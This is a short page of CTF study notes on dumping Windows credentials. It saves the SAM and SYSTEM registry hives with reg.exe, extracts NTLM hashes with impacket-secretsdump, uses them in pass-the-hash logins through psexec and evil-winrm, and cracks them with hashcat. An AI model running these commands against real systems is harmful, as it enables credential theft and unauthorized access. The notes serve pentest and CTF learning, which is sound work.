> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/credential-dumping/save-registry-hives.md).

# Save Registry Hives

By saving and transferring the **SAM** and **SYSTEM** registry hives to a local machine we can extract the NTLM-hashes and try to crack them or use them in pass-the-hash attacks.

## Saving registry hives

Save the registry hives with `reg.exe`

```bat
reg save hklm\sam sam
```

```bat
reg save hklm\system system
```

## Dump hashes with impacket

After transferring the hive files, we can dump the hashes with [secretsdump](https://github.com/fortra/impacket/blob/impacket_0_13_0/examples/secretsdump.py) from [impacket](https://www.coresecurity.com/core-labs/impacket):

```bash
impacket-secretsdump -sam sam -system system local
```

## Use the hashes for PtH

Then we can use the hashes in Pass-the-Hash attacks such as

<pre class="language-bash"><code class="lang-bash"><strong>impacket-psexec -hashes :&#x3C;nthash> administrator@$TARGET_IP
</strong></code></pre>

or

```bash
evil-winrm -i $TARGET_IP -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

## Crack the hashes

Or we can try to crack the hashes with [hashcat](https://hashcat.net/hashcat/):

```bash
hashcat -a 0 -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt
```

## Resources

OS Credential Dumping: Security Account Manager - Mitre ATT\&CK: <https://attack.mitre.org/techniques/T1003/002/>